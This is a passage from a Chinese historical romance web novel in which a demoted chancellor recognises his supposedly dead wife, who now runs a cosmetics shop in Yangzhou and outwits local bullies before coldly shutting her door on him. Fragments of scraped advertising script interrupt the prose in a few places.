玄海见他魂不守舍,就知道他在想谁。其实他也不清楚,相爷对那位相处不多的妻子是爱更多,还是愧疚更多。 “相爷又想起夫人了?”玄海壮着胆子问。 魏巍没否认:“那家店掌柜的姓耿。” 玄海就知道他在想这一茬。 他一边磨墨,一边柔和地泼冷水:“相爷多心了。刘长史不是说了嘛,那位耿掌柜和古玩店的钱掌柜交好,钱掌柜是男人,耿掌柜肯定也是。再说了,一般不都是男人做生意当老板嘛。” “主子记得胭脂铺楼上跑下来的少年吗?要是女掌柜当家,能让外男上上下下来回跑?真要这样,清白早就不保了。” 魏巍默默点头。要真是女掌柜,楼上楼下跑的就是那个大大咧咧的女豪杰了。 心里燃起的一点希望火苗无形中被捻灭,魏巍神色难掩失落。 玄海点起火烛,道:“人死不能复生,大人放宽心。” 魏巍闭上眼,恹恹道:“下去吧。” 他在拿起紫毫,浸上墨汁,面对素白宣纸迟迟无法下笔。 豆大的墨点洒在素纸上,旋即渲染开来。 眼前浮现出婳坊那个清秀温和的少年,他的话语不断响彻耳畔:“是,我家掌柜的姓耿。但天底下姓耿的人多的是。” 但天底下姓耿的人多的是。 这话乍一听有点多余。也许话里有话,故意说给他听?这就是在暗示他不要误把店铺老板认成耿婳。所以他为什么要暗示? 魏巍越想越乱。 店里有客他不下来接待,偏偏等“女豪杰”喊掌柜时不偏不倚地出现,旋即说了套场面话就有送客之意。 一切都严丝合缝,恰到好处,就像提前安排好的一样。 真叫人奇怪。 他不知不觉陷入沉思,再醒来时,后背传来温暖的触感。 “玄海,不用管我。”魏巍缓缓睁眼,外面月色正浓,滑落的衣袍重新披在他的身上,暖暖的。 身后传来一声颤抖的娇弱女音。 魏巍瞬间清醒,倏地起身坐正。 他突如其来的举动吓到了眼前娇小的姑娘。这人忙跪倒在地,双肩颤抖,低头唤着“大人饶命”。 魏巍背身穿好衣袍,这才注意起这个十五岁上下的小女孩。 她跪在地上,头都不敢抬,鼻间发着泣音,穿着不太合身的绛红齐胸裙,头上的簪花配饰和年岁不符。 一看就是被强行打扮一番,赶鸭子上架送过来的。 魏巍心里知晓是怎么回事儿,他敛去怒意,问她:“你是谁,何人唤你来。” 女子不说话,哭声放大了些。 魏巍压低声音,耐心道:“你不用怕,一五一十告诉我,我不会怪罪你。有谁欺负你,我会替你做主。” 她抽泣着不敢说话。 魏巍正视前方,不去看她,说道:“王刺史派你来的?你如实说,我不怪你。” “奴、奴家贱名芊芊。是受了王大人的命……” 里间抽泣声越来越大,外间打瞌睡的玄海被吵醒。 怎么有女人的声音? 他好奇地进屋。 内室,魏巍在榻前正襟危坐。地上跪着一位红衣姑娘,掩面哭泣:“我爹把我卖进刺史府当丫鬟,今晚无意冒犯大人,请大人宽恕。” 玄海目不转睛望着纤纤少女,梨花带雨的模样令人动容。他不禁发出一声喟叹。 魏巍扭头剜了他一眼。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 玄海收了眼刀,惭愧得挠头嘿嘿笑了两声。 “你爹为何卖你?” “回大人,他欠了赌债,输光了家里财产,就把我卖了换钱。后来他跑到北方避难,没了音讯。贱婢无家可归,只好依附刺史府。”说完,她泣不成声,眼泪啪嗒啪嗒往下掉。 原来是个可怜人。 魏巍没说话,静静等她发泄结束。直到再也听到哭泣声,他才低声说:“夜深了,回去吧。” 这就是不怪罪她的意思。芊芊松了口气,又想起什么,仰头颤巍巍道:“可是,可是王大人说,以后让我留您这儿。” 魏巍道:“他那边由我说明,你不用操心。先暂住府上,听我调动,以后再也不用回刺史府了。” 魏巍的话给了她安全感。芊芊面露喜色,千恩万谢着告辞了。 玄海转身就要跟她走。 魏巍叫住他,道:“你去干嘛。” 玄海回道:“我去给她安排住处。” 无辜女子一走,四下没有外人。魏巍不装了,直接拧眉道:“她能自己找到这儿来,还用得着你指路?真有你的,家里来了外人都没发现,还不过来伺候笔墨!” “噢。”玄海悻悻领命换了一张白宣,低声问,“大人真要留下她?” 魏巍冷冷道:“你觉得呢。” 他私下喜静,跟随伺候的下人本来就很少,什么时候身边留过丫鬟? 玄海放心下来,只要不收她做通房就好。 魏巍大笔一挥,写完说:“给王绅送去,就说是我赠的回礼。再向他讨个东西。” 玄海走后,魏巍把常戴在身边的纹竹香囊和云母粉木盒一并塞到枕头底下。这些东西原本被保存收藏。耿婳去世后,他夜夜难眠,每每将念想之物放在身边,才能安然入睡。 不知不觉,两个小物件竟陪了他三年之久。 夜深人静,王绅和夫人欢愉结束,叫水擦身。 王绅正要睡去时,听下人传话说魏大人回礼,立刻惊得起身下床。 王夫人从帐里探出小脑袋,自得道:“我说什么来着,男人就吃这一套。那小丫鬟没白送吧?” 王绅一边穿鞋一边乐:“还是夫人聪慧。我以后都听夫人的。” 王绅穿戴好,喜滋滋出去接魏巍的题字,对玄海道:“魏大人可喜欢老朽送的薄礼?” 玄海笑得意味不明,说:“还是王大人想得周到,主上派我来道谢呢。” 王绅乐开了花。 玄海顿了顿,又道:“主子还说,有劳王大人送还芊芊姑娘的卖身契。” 王绅一听这话,更是喜不自胜。看来美人计真奏效了,他即刻差官家取来卖身契交给玄海。 玄海前脚刚走,王绅旋即点燃烛火,迫不及待展开一看。 “咣当”一声,他掉凳了。 “多大的人了,冒冒失失的。”王夫人训斥着光脚下床,三两步走到王绅旁边,展开宣纸。 刚劲有力的四个字,直戳戳写在上面——“屡教不改”。 月色映衬下,两人面面相觑,脸白如纸。 30. 030 吉庆街夜市兴旺,通宵达旦是常有的事。 热闹之余,婳坊早一个时辰打烊。阮若和紫殷给下月新出的玫瑰香粉分装香囊,一一打包,布置柜台。 耿婳埋头对账,“长史刘瑛还是头一回买东西。” 阮若一边干活,一边回道:“是京城魏司马买的,姓刘的非要记自己账上。” 耿婳顺着往下看他买的东西,久久没再翻页。 紫殷和阮若看着她,又对视一眼,两人都满肚子疑惑。 尤其是阮若。 今天扬州城里的大官来巡查吉庆街,每家店铺掌柜都待命在内,以备问话之需。唯独耿婳“卧病”不出,只好由她迎接。 紫殷也不解。 耿婳是吉庆街出了名的美女掌柜,性子虽然怪了点,但是从没来怕过谁。 之前跋扈的刺史夫人误把她当成王大人相好,带着一群人浩浩荡荡来问责,耿婳三两下摆平,从头到尾没慌一下。 这次怎么了,京城调来一个司马,至于装病嘛。更奇怪的是,她在楼上竖着耳朵偷听,还叫他下楼传话应付。 莫非是以前洛阳结怨的?难道掌柜的有危险?! 紫殷本能地摸了下腰间银刀。 耿婳舔舔嘴唇,想说什么却迟迟不语。 紫殷也有话要说,他想问问掌柜的是不是认识那个魏司马。 耿婳对自己讳莫如深的往事只字不提。紫殷和阮若只从东家伍听肆口里听说她是洛阳人,除此之外什么也不知道。 可耿婳是商户,怎么会和贬谪的京官认识? 阮若没想太多,大大咧咧分享感受:“当时真吓我一跳,仨当官的往那儿一站,齐刷刷盯着我看!结果还真进店了,换谁谁不怕啊!” 耿婳嘴角勾起熟悉的讥笑,冷冷道:“他们又没比你多长一只眼,你怕他们干甚,给他们脸呢?有这会儿功夫担心,不如想想怎么从他们身上刮油水。” 她向来对为官的人嗤之以鼻,紫殷和阮若都见怪不怪了。 阮若道:“掌柜的,你不用对他们那么大恶意。我看新来的司马还挺随和的,而且……” 耿婳绷着脸,阮若的声音也随之越来越小。 “而且什么。”耿婳阴着脸问。 阮若巴巴瞅着耿婳的脸,一字一字慢吞吞说:“而且……还挺俊的,就是黑眼圈儿有点重。” 耿婳不着痕迹地瞥了她一眼。阮若把这个眼神解读为没见过世面的嫌弃。 紫殷冷哼一声,道:“要多丑有多丑。” 室内一片安静,三人各干各的事。 许久,耿婳写字的空当,抬头问道:“他一个大男人来店里做什么。” “你是说新任的扬州司马?” 紫殷沉默地抬眼瞪她。不是他还是谁,这不废话么。 阮若回道:“他先盯着咱们的招牌看了半天,然后进来对着云母粉出神,莫名其妙就买了一盒。” 耿婳提笔的手一顿。 紫殷道:“云母粉是给家里人买的吧?” “他成家了?不会吧!”阮若迅速问,“看着挺年轻的。” 紫殷回道:“街坊里早传遍了,那厮刚从相位贬下来,唤作魏巍,今年才三十。你不知道?” 阮若震惊:“三十?你确定?”她回想起那个挺拔的身影,看着顶多才二十四五。 “确定。”接话的是耿婳。她淡淡说完,连眼皮子都没抬。 阮若和紫殷不由望向她。 烛光在耿婳静默的脸上洒下浓重阴影,即便一声不吭,也能看到她目光中闪烁的灼灼火焰。 片刻,紫殷问出心中疑虑:“掌柜的,你在洛阳是不是认识他?” 耿婳没答话,紫殷又问:“是冤家?” 耿婳沉着脸,缓缓摇了摇头。她突然起身,抱着账本低头朝闺房走去,只留一抹萧瑟的背影。 紫殷托腮蹙眉,知道自己说错了话。阮若也震惊无比,掌柜的很少流露出脆弱的一面。 耿婳回屋扔下账本,仰面躺在架子床上,手背遮眼,静思凝神。 三年了,她有了营生和底气。现在的她并不怕他,也根本用不着躲。 但在魏巍的视角里,耿婳于三年前就病逝,如果再看到活生生的她,势必会引起不必要的纷争。多一事不如少一事,所以她才称病不见。 对,就是这样。没有别的缘由。 想到这儿,耿婳嘴角勾出自嘲的笑。 魏巍三年前就弃她不顾,又怎么会在意她的死活。就算见了她,也只会觉得是个和前妻长得很像的人罢了。 毕竟三年前他的娇妻就死了,死人是不会复活的。往后即便同处一城,也是他走阳关道,她过独木桥。 她对他的仰慕早在小产后就丁点不剩了。甚至看到他勒令堕胎的信件时,她于悲恸中滋长出浓浓的恨意。 从洛阳到扬州的三年时光,耿婳好像脱胎换骨,重活了一世。她本以为再也不会和前世纠葛过的男人有交集。 没想到阴差阳错,魏巍又一次踏足她的领域。 临睡前,耿婳暗下决心,绝不会因他的闯入而心生畏惧。 现在的她,不会怂到因为他这么个无关紧要的存在就藏头藏尾,畏缩不前。 翌日,魏巍醒来已是辰时。他骤然换了环境,睡得并不好。 新政三年,但凡守旧派一闹,天子就会遣他来地方以各种名义巡查。等风声过去,再调回京城。只要他呕心沥血的改革仍在继续,魏巍就无所谓这些调遣。 自从天子放出迁都信号后,王司空为首的老臣反应激烈。天子为了兼顾两头,不得罢去魏巍的相位。 名为罢相,实则派他来考察扬州城。这样证实了迁都是非做不可的事。 王刺史等人深谙其中道理,不敢真给他委派公务。玄海私底下连称呼也没改,一口一个“相爷”叫得熟络。 “相爷,这是王刺史给的卖身契。”玄海道。 魏巍接过芊芊的卖身契,他还没想好如何安置那丫头。 昨晚耿婳入梦扰得他心神不宁,夜里醒了一次,换了亵裤。 魏巍收好卖身契,今日还要出门。扬州城以王刺史 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 为首的官员甚是热情,安排了大大小小的酒宴和观光路线,势必要把扬州最好的一面展现给他。 魏巍与他们周旋了十日方才得空。府上原本空旷的库房被各式各样的礼品塞满。 他们自以为懂他,送他的都是些低调朴素的物件。 这天魏巍好不容易得空,打算独自去街上逛逛,采购物品,考察民风。 他从后门出发,徒步走进白墙黑瓦片的小巷。春雨过后,空气清新宜人。微风拂面,吹散出墙的杏花。 魏巍踩在杏花铺就的石板小路上,听着院落儿童欢笑声进了大街,汇入接踵的人群里。 他又去了吉庆街那家古玩店,钱掌柜一脸堆笑地迎接他。 逛了一圈,魏巍采买了些书房摆件,想要问他关于婳坊的事,忽而被窗外一窝蜂的人群吸引。 钱掌柜解释说:“这是街边那家婳坊的活动。每个月都办,这不掌柜的都去了。” 他指了指其中最靓丽的一抹艳色。 玄海惊道:“是女掌柜。” 魏巍望着远处惹人注目的倩影,愣怔在原地。 钱掌柜以为他只是好奇,又道:“扬州城老板娘不少,像耿掌柜这样能在吉庆街立足的,却是罕有。” 魏巍眉峰一挑,立即追问道:“她从哪来,姓甚名谁,年岁几何?” 钱掌柜一惊,心想这是看上人家了?大官问话,他不敢不回,不假思索道:“耿掌柜闺名一个‘婳’字,是洛阳人,来扬州应该有三年了。至于年岁,小人不知。” 毕竟他和人家也不熟。 “大人……”玄海担忧地看了眼主子。 魏巍二话不说,直接迈出门槛,汇入人流。 “大人!”玄海包着采买的物件跟了出去。 吉庆街最热闹的中心区有棵千年古树,树冠冲天,树干要五人才能抱住。后来人们在这里搭台唱戏,避暑乘凉,古树台慢慢成了城里的地标建筑。 紫殷站在台上敲着锣,扯着嗓子喊:“瞧一瞧看一看喽!婳坊新品上市,免费拿!免费拿呦!” 不少少男少女聚集于此,仰头看着台上婀娜多姿的美人。 耿婳一袭抹胸红裙,坐在高高吊起的秋千上,正朝台下众人投去迷人的笑容。 她云鬓上戴着店里新品钗环,手中竹篮装满新制的香粉。很多时候,她不仅是店里掌柜,更是婳坊的牌面和形象。 魏巍挤过密集的人群,一眼望去。 秋千上荡漾的佳人冰肌玉骨,半露酥.胸,火红的衣裙将她骨子里的媚意放大了百倍千倍。她笑得明艳大方,美目流转直勾人魂魄。春风拂裙,露出一双修长滑腻的雪腿。 日光透过茂密的枝叶洒进来,片片金箔点缀在娇躯之上,她宛如神灵庇护下的妖仙。只看一眼就叫人心头撞鹿,骨软筋麻。 秋千美人抬起藕臂,撒下竹篮里的香囊,众人扬手去抢。 魏巍目不转睛望着熟悉的人儿,心中百转千回,眼底不知不觉又湿又热。 那是耿婳,他不会看错。 他的耿婳,回来了。 31. 031 耿婳稳坐在古树吊起的秋千上,借着风力荡漾身子,争取把竹篮里的香囊拋得更远些。 她的视力很差,站在高处俯瞰,只看见一张张模糊的人脸。虽然看不清那些人的相貌表情,却清楚听见热情的喊叫声。 耿婳露出得逞的灿烂笑容。每回为店里新品造势,她都会来古树台拼命表现,再累也无妨。 阮若和其他店员在台上撒着香囊,里面装着试用的新品。 紫殷敲着锣来回溜达,叫卖着:“新品试用,数量有限,先到先得!” 一时间人声鼎沸,喧闹无比。 魏巍愣怔着,被拥挤的人流冲到一边。他无暇顾及自己,两只眼睛牢牢盯着上方的美人。 耿婳高高荡着秋千,臀边划过圆润饱满的弧度,单薄的红裙紧贴着身躯,将她凹凸有致的身材展露无余。 曾经羞怯内敛的少女不会再因为男人的目光而退缩,她热情地撒着香囊,大大方方展示自己的窈窕身材。 这是魏巍梦里出现无数次的娇躯,他绝不会认错。 耿婳没有死,她就在眼前! 巨大的欣喜涌上心头,即刻又被疑云笼罩。她温婉柔顺的小夫人,怎么会做出如此浪荡的行径? “耿婳?耿婳!”他一遍遍唤着。耿婳弯着眼睛笑得自在,却不曾留意他一眼。 其实,耿婳很享受这种被追捧的感觉。现在的她,没有家庭和婚姻的束缚,一个人捣鼓小生意,看着陌生人为她痴狂,甚是快哉。 魏巍反应过来,刚要冲到台上制止她,却听见一些污秽的声音。 “小娘子,卖货真够拼的。我出一百两买你家香粉,陪我一晚如何?”街头地痞牛二喊道。 笑嘻嘻敲锣的紫殷朝牛二投去阴鸷的眼神。 开黄.腔的牛二说个没完没了,满嘴污言秽语话题直击耿婳。 手拿铜锣的消瘦少年忽而朝牛二蹲下笑道:“这位小哥,你想死可以直说,不用特意引人注目哦。” 缓慢温和的语气少了几分咄咄逼人的警告意味,这让牛二产生了紫殷好欺负的错觉。 “你个小厮横什么劲儿啊!”牛二得寸进尺道:“你主子露胸露腿给人看,和妓.女有什么区别?我给她银子就是给她脸呢,谁让她是做生意的!” 紫殷撂下铜锣,一把抓住牛二衣领,表情阴森地说:“你再说一遍。” 牛二被这小子忽然凶戾的模样吓了一跳,气势衰了半截,刚要发横却听见前面爽朗的笑声。 “紫殷不可无礼,放开牛二哥!”耿婳话音里带着一丝甜意,好比春日里的杏花一般和煦。 她从秋千上下来,款步走来,脸上挂着笑,眼睛弯弯的,活脱脱一个热络迎客的小老板样儿。 众目睽睽之下,不见一丝尴尬和羞赧。 牛二早就看直了眼,一见美人笑脸相迎,顿时心头撞鹿,想入非非。 他喉咙发痒,色眯眯道:“小美人儿,你该不会真想让我照顾生意吧?” 紫殷刚松开的手又抓紧了。 “小女子别的地方,更想让牛二哥照顾。”耿婳朝他露出神秘的笑容,“就怕你不同意呢。” 牛二咽了口吐沫,鼠眼散发着淫.荡的光:“同意,哥怎么会不同意呢。” “好,大家都听见了,牛二可是自愿帮我的!”耿婳朗声说完,又示意紫殷和阮若。 紫殷双手扼住牛二的脖子,木台颇高,抻得牛二不得不踮起脚尖。 牛二没想到这瘦小伙力气这么大,一时挣脱不开,被他掐得两颊发红。 阮若大步上前,把铜锣往牛二脸上一扣,拿起小棒槌当当敲了起来,大喊道:“瞧一瞧看一看喽!吉庆街婳坊新品上市,玫瑰香粉限量销售先到先得!” 阮若把牛二当成人肉鼓架,一下敲得比一下狠。 众人哈哈大笑。牛二平日招三惹四,引得民怨四起。耿婳当众整他,间接替大家出了口恶气,所以围观者都乐见其成,哄笑不已。 等阮若口干舌燥,看客们纷纷奔向婳坊购买新品,紫殷才松开手。 牛二眼冒金星,脸胀得紫红,四脚朝天瘫倒在地。 “叫你口出狂言,该!”阮若啐了他一口。 紫殷把玩腰间刀鞘,微抬拇指,拉出一小节刀刃,闻声问:“掌柜的,要不要我再帮你出出气?” 耿婳没理会他,支着下巴朝栏杆下俯望,笑盈盈说:“姓牛的,滋味不错吧?多谢了哦!” 围观的没完全散开,有人点评道:“这个耿婳掌柜,真是铢锱必较。” “谁说不是呢,偏又生得面容姣好,惹人喜欢。” 魏巍杵在原地,错愕在刚才所见所闻之中,他望着耿婳,一时难以置信。 他不会认错他的耿婳,但心目中那位娇滴滴的妻子,又怎会如此泼辣大胆?! 魏巍理顺着愈发烦乱的思绪,任玄海如何唤他就是无动于衷。 耿婳领着手下人拂袖而去,与他擦肩而过时看都没看一眼。 魏巍还在目送耿掌柜远去的背影,玄海在一旁嘀咕道:“夫人怎么可能这样,相爷这是认错人了,同名同姓的多得是。” 天底下不可能有完全一样的面孔,就算有,也不可能名字和身材都如出一辙。 不可能有那么巧的事。 抱着心里的笃定,魏巍半忧半喜走向婳坊。 店里此刻挤满人。有在前台排队结账的,也有围着店员问价比货的,也有很多男人挤进来单纯为了看看美人掌柜的盛世容颜。只要不影响生意,耿婳就不会轰走那些痴汉。 玄海给魏巍开道,两人费了半天劲才挤进队伍。要想和前台结算的耿婳说上话,只有排队才行。 正此时,店外传来哄人让路的命令声。挤进婳坊的是个家丁打扮的中年男子,衣料上乘,手指上带着个成色极好的和田玉扳指。 魏巍认出来了,这人是王刺史府上的管家。在他面前如摇尾幼犬,此刻却面露不善,像是来挑事儿的。 耿婳又怎会看不出来,她停下笔,朝那人笑道:“呦,郝管家来啦,还不请坐。” 这话一看就是说着玩的。婳坊里挤满了人,连个落脚的地方都没有,更别说坐下了。这分明就是耿婳随口一说,寒暄一句罢了。 要不是看他有个刺史管家的头衔,耿婳连眼皮都不会抬。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 郝管家对耿婳的轻慢态度十分恼火,不客气地说:“刺史大人派我采买新出的香粉,要包圆,赶紧的!” 耿婳挑眉问:“包圆?给刺史夫人用?” “难不成给你用啊!愣着干嘛,刺史大人的话听不明白?磨磨唧唧的!”他吹胡子瞪眼,颇有种狐假虎威的做派。 耿婳心里冷笑。每次新品上市,她都会为店里的大主顾们提前送货上门。王夫人那份早就送到手了。况且,采购的事都由王夫人的陪嫁丫鬟亲力亲为,何时换过旁人? 可见王绅这货根本不关心媳妇的妆容用度,反而叫人来闹事撒泼。这是要报上次灵云楼的仇,当真心眼比针眼还小! 既然主动把脸凑过来,耿婳哪能不狠狠打两下出气? 一听“包圆”,店里女客瞬间蔫儿了。当官的要包货,哪儿还有她们的份?一想到这儿,大家纷纷担心起来。 郝管家龇牙咧嘴说个没完,言语里咄咄逼人,就差朝耿婳喷吐沫星子了。 围观的人固然能忍,魏巍却忍不了。他推开挡道的人,径直去前台护他的小夫人。 耿婳面不改色,姿态从容,一点没被凶神恶煞的管家吓到。 “郝管家既然为夫人采办香粉,怎么不出示凭证?”她仰头问,声音平静得可怕。 这一下倒把郝管家给问愣了。什么凭证,他怎么不知道? “既然是给夫人办事,怎么把规矩都忘了?”耿婳嘴角带笑,立刻招呼紫殷,“还不快去趟刺史府,替郝管家拿凭证!” “得咧!”紫殷麻溜地往店外跑。 郝管家慌道:“等等!” “还等什么,夫人等急了你担待得起吗?”耿婳冷笑道。 扬州城谁人不知王绅惧内如惧虎,王夫人一句话就能顶起府上一片天。耿婳搬出王夫人,瞬间吓得郝管家后背发凉。众人纷纷吃瓜般安静又好奇地注视着管家。 被人盯得头皮发麻,郝管家少了大半底气,半是疑惑半是恼火地说:“你少唬人。我看、我看就没什么凭证!” 耿婳如实说:“嗯,本来就没凭证,你不知道呀?” 郝管家咆哮:“你敢骗我!” 她斗傻子似的把戏直气得郝管家跳脚。店里客人要么捂嘴偷笑,要么玩味得看着他。郝管家脸色一阵白一阵红,十分精彩。 紫殷不由大声道:“咦?你连这点事都不知道,该不会是江湖骗子吧?大胆!敢假扮王刺史府上人!” 众人即刻被引导着打量郝管家。他浑身市侩,举手投足间不像富贵之人,却穿得体面,还戴着不菲的扳指。 怎么看怎么奇怪,确实不像好人。 戒备又敌视的目光如钢钉一般刺向郝管家,他纵使脸皮再厚,也多少有点恐慌了。 “好啊你个大骗子!敢来店里撒野,姑奶奶非把你打个满地找牙!”阮若放下手边的活儿,大步流星冲向他,撸起袖子就要干! “别别别,我不是骗子我不是!我真是刺史府的管家,我有腰牌!”郝管家慌忙要找腰牌。 刚把象征身份的物件取下来,他就对上了耿婳狡黠的目光。 完了,正中她的下怀! 32. 032 阮若冷笑道:“刺史府来我这小破店闹事,是什么道理?” 扬州城响当当的大官派人来小老百姓开的商铺无理取闹,这传出去也不知道丢谁的人。 围观的群众都鄙夷地望着郝管家,后者慌忙道:“是我、是我自个儿的主意!和刺史府无关!” “其实是想给我媳妇儿买点儿东西!”他又补了一句。 此地无银三百两。 “放肆!”耿婳冷笑一声,呵斥道:“王刺史为国为民,两袖清风,你作为家奴,不为他老人家分忧,还处处给他惹事?岂不坏了刺史大人的门风?!” “耿某行商三年诚信经营,老实本分,但也绝不是好欺负的!你不分青红皂白来我店里撒泼,我这次不给你点教训,你下次就还敢欺负人!阮若、紫殷,还楞个干什么?拿人!” 阮若和紫殷听了令,一个薅住他的头,一个反剪他的手,顺势把人按在账台上。郝管家一动都不敢动,臃肿的后背弓得老高,宛如一只探头的老鳖。 众人指指点点,嬉笑着好戏。 郝管家老脸胀得通红,他朝耿婳眯了一下眼,分明是在警告她不要得寸进尺。那微表情好像在说:你惹我就是惹刺史,现在敢动老子,你看看以后我们刺史府怎么给你使绊子! 耿婳一点也不怕,凑近他小声道:“新任司马是什么来历,你别以为我不知道。里里外外这么多人,这么多张嘴,今天这事儿传去司马大人耳里可不难。你说,到时候王刺史前途如何?你又如何?” 一听这话,郝管家瞬间吓得两腿发颤,站都站不稳了。 大领导来扬州巡查,民间风评可是极重要的考核点。今天他来这砸场子,明眼人都看得出是刺史大人的吩咐。 这下可糟了! 郝管家气焰全无,慌乱心虚之下,只能顺着耿婳递来的杆子往上爬:“耿掌柜,实在对不住。是我思虑不周,怕抢不到新货被媳妇怪罪,所以才搬出刺史大人。您老莫怪,莫怪。” 耿婳露出得逞的笑,给阮若紫殷使了个眼色。 两人松开郝管家。 “那我卖刺史管家个人情。咱们不用排队了,要全部新品是吧,没问题!”耿婳低头轻敲算盘,“郝管家,要这个数。” 紫殷嘿嘿笑着解释:“本店规矩是一手交钱一手交货。新顾客谢绝还价赊账。” 阮若上上下下打量他,说:“钱不够的话,拿东西抵也行。还请您自便!” 郝管家哪带够那么多钱,可又骑虎难下,一时急得脸色涨成猪肝。 犹豫片刻,他取下扳指放到算盘上。 “够吗?”郝管家从牙缝里挤出两个字。 耿婳喜滋滋盯着扳指看,眼底的笑意透着欢喜的贪婪。 “够啦,够啦。还是郝管家您痛快,不愧是王刺史身边红人,穿的戴的可比我这没见过世面的土老帽强多了!” 她甚至夸起人来!郝管家气得脸红脖子粗,可到底拿她没办法。 耿婳装腔作势对阮若道:“还不快去趟当铺,少算郝管家一个铜板我拿你是问!” 阮若领命,揣着扳指笑嘻嘻都走了。 “您老别急,等钱换回来过了账,我再派人给您送货上门。店里人多,一时周旋不开,还请见谅。” “不急不急。”郝管家嘴角抽了抽,皮笑肉不笑地说:“有劳掌柜的,郝某告辞。” “慢走不送,您就请好吧!”耿婳笑盈盈对他说。 郝管家气结,忍着割肉之痛灰溜溜离开了婳坊。 “好、好生泼辣。”玄海看得目瞪狗呆。 魏巍又何尝不是。 刚才他看来者不善,不来想替耿婳出头。可她竟然连这么凶的都不怕,两三下解除了危机,还白嫖了个价值不菲的扳指。 魏巍饶是疑惑,她原来连与外人说话都会拘谨害怕,更别说吵架整人了。 其实,耿婳早就不是第一次处理这样的麻烦事了。 之前店里偶有流氓寻衅滋事,她就雇了紫殷阮若这些身手好的杂役。再加上王旸的照顾,就没人敢挑逗她。 三年内,她借着伍听肆的人脉关系网纵横扬州商界,积攒了不错的名气和口碑。王夫人和她兴致相投,生意来往间成了朋友。有她这座大佛罩着,就算得罪了刺史王绅她也不怕。 店里照样挤满了顾客,耿婳又埋头忙碌起来。半个时辰后再看算盘,眼前竟然出现了重影。 她视力本就不好,多日劳累眼疾又发作了。 耿婳扶住太阳穴,唤紫殷过来结账,施施然上楼休息去了。 魏巍目送的背影消失,缓缓吐出一口沉闷的浊气。 他迫不及待想与她相认,但又知道今天不是好时辰。 店里人群密集,叽叽喳喳,吵闹又燥热。魏巍去对面茶馆坐下,暗暗观察着婳坊。 过了大约一个时辰,耿婳才下楼重新回了柜台。方才古树台闹事的牛二找上门,粗鲁地挥起拳头要教训耿婳,一个壮汉掐住他的后颈,提溜起来一脚踢到了街上。 牛二跪地拱手喊着“爷爷饶命”,那名壮汉大喇喇站在婳坊门口,把腰间官刀抽出来耀武扬威。 一会儿玄海从婳坊回来,给他汇报情况:“相爷,那人是巡城校尉,名叫王旸,听说还是王刺史的侄子。” 魏巍没回话,玄海又静静陈述一遍。最后,回复他的还是主子无尽的沉默。 魏巍像是没听见似的,锁眉看着远处婳坊。 柜台前,王旸拉着耿婳的小手拍了两下,两人调笑着不知道说什么悄悄话。 胸腔浊气凝聚得更多,旋即一股极其不适的酸胀感直冲心口,激得他极其难受。 魏巍恨不得把茶杯杯壁都捏碎。 玄海看在眼里,俯身安慰:“相爷,我看那人根本就不是夫人。” 他家夫人知书达理、性格温婉,绝对不会泼辣耍刁,更不会和男人调情打闹。 魏巍等了又等,直到天色渐晚,日头沉下,婳坊客人都走了,他这才起身出了茶馆,大步流星去找耿婳。 他要当面问问她,问问她为什么三年前诈死不辞而别,为什么撇下夫君和腹中胎儿远去,为什么要抛头露面行商,为什么要和外男勾勾搭搭乱了分寸?! 失而复得的欣喜过后,是汹涌无比的愤懑和疑惑。 他怀着腹中的心情,大步到了婳坊门口。 耿婳亲自送走最后一位客人,伸着懒腰悠闲地往里走。 “耿婳!”魏巍望着她丰腴的背影,一下红了眼圈。 他在台阶下尘衣朴素,她立在门前红裙飘扬。 方才满腔的怒火,在近距离看到她的一瞬全消了。 她还好好活在世上,鲜明又绚烂,还能养活自己,独自做生意,不受人欺负。 不愧是他的小夫人,三年时间脱胎换骨,已经变得越来越强了。 魏巍鼻腔发酸,眼含热泪轻声唤道:“婳儿。” 耿婳闻声,顿住身子,一阵静默。 凉风吹皱了她单薄的裙衫,黄昏下的人影孤单娇小,更加惹人垂怜。 魏巍屏着呼吸,静静等她回应。 她捏住衣裙,跨过门槛,然后缓缓回过身。 淡淡扫了眼台下的人,扬起下巴直言:“不好意思打烊了,明天再来吧!”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “啪”一声,她双手合上门。 扫兴的晚风卷着灰扑扑的柳絮吹过魏巍的衣衫,他僵直呆立原地,泪珠尴尬地停在眼眶边缘,过了许久,才默默承受住这口闭门羹。 耿婳关上门,指着一人道:“紫殷你先整理货架,干完了再吃饭!” “拜托,我不是紫殷,我是阮若!”阮若气鼓鼓的。 她和紫殷穿了同色衣衫,都梳着高马尾。再加上耿婳目力差,远远看过去就认不出人了。 “哦,是吗?那我和你一起。”耿婳上去帮忙,一会儿嘟囔道,“确实该多招几个人。” 阮若埋头整理货品,尴尬没来得及往外瞅。这会儿见耿婳凑近,不由问道:“掌柜的,外边人谁呀?一口婳儿叫得比王旸那厮还肉麻!” “不知道啊。”耿婳打了个哈欠,懒洋洋道,“估计是背地里迷恋老娘的某个人吧。哎,真烦,又伤害了一个无辜的男人,真有点不好意思呢。” 阮若无语地笑了出来,心想你这脸上哪儿写着不好意思? 扬州城里,耿婳乖张的脾性和她的美貌一样出名,被她伤害过的少男心更是不计其数。即使如此,总还有无数舔狗不听劝告扑上来,试图成为鹤立鸡群的那一只。最后的结果无非就是给耿婳的生活增加无数欢乐的素材。 正是被人捧惯了,耿婳才愈发骄纵起来。只要看到男客,一般她都不会给人家面子。 除了王旸这个巡城校尉。 “掌柜的,我劝你适可而止哦。别老欺负这个那个的。今儿王校尉都说你了。” “说我什么?说我招蜂引蝶?你若花开蝴蝶自来的道理他不懂?这还怪上我了,真有意思!” 耿婳又道:“要不是做生意需要片警镇场子维护治安,我才懒得不搭理他呢。他以为他是谁,真就能管我了?” 阮若奇道:“喂喂喂,你该不会只是利用人家吧?” 王旸对耿婳的心思就摆在明面上,谁不知道?这家伙护食得厉害,怕耿婳受委屈,日常巡逻看街都会多照顾着婳坊。 耿婳需要他这个保护伞,才会稍微给个好脸。换做别的男人,她正眼都不带瞧一下。 